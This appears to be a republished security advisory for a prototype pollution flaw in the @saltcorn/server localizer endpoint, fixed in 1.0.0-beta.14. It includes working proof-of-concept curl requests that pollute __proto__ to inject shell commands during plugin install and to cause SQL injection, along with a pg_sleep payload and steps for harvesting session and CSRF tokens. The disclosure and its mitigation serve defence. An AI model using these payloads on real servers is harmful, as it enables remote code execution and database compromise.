@saltcorn/server
Affected
- introduced
0, fixed1.0.0-beta.14(semver)
Fixed versions
1.0.0-beta.14
Fix
- Fixed version
1.0.0-beta.14npm install @saltcorn/[email protected]
Advisory
Also known as: None
@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating lang and defstring parameters when setting localizer strings
Summary
The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:
tempRootFolder property schema property when using PostgreSQL database.Details
router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
PoC
Setup:
SALTCORN_NWORKERS=1 before starting the saltcorn server (to easily observe the behavior of the PoC)SALTCORN_NWORKERS=1 saltcorn serve
RCE
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
Object.prototype with a tempRootFolder value set to ;echo+"rce"|tee+/tmp/RCE; by sending the following request *** :curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
test - Source: git - other fields blankCreateecho "rce" | tee /tmp/RCE will be executedcat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
SQL Injection
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
http://localhost:3000/table to check the page returns some results (no errors)Object.prototype with a schema value set to " (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
http://localhost:3000/table but this time an SQL error will appear:syntax error at or near "" order by lower(""
NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema property is set to ".
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :
Network tabhttp://localhost:3000/site-structure/localizer/add-langName: test , Locale: test) and click SaveNetwork tab, filter for save-lang and check the request parameters (Headers and Payload/Request tabs)connect.sid and _csrf and paste in the curl command aboveImpact
Remote code execution (RCE), Sql injection and business logic errors.
Recommended Mitigation
Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.
High Basis: The source's own band: HIGH
0, fixed 1.0.0-beta.14 (semver)1.0.0-beta.14
1.0.0-beta.14npm install @saltcorn/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0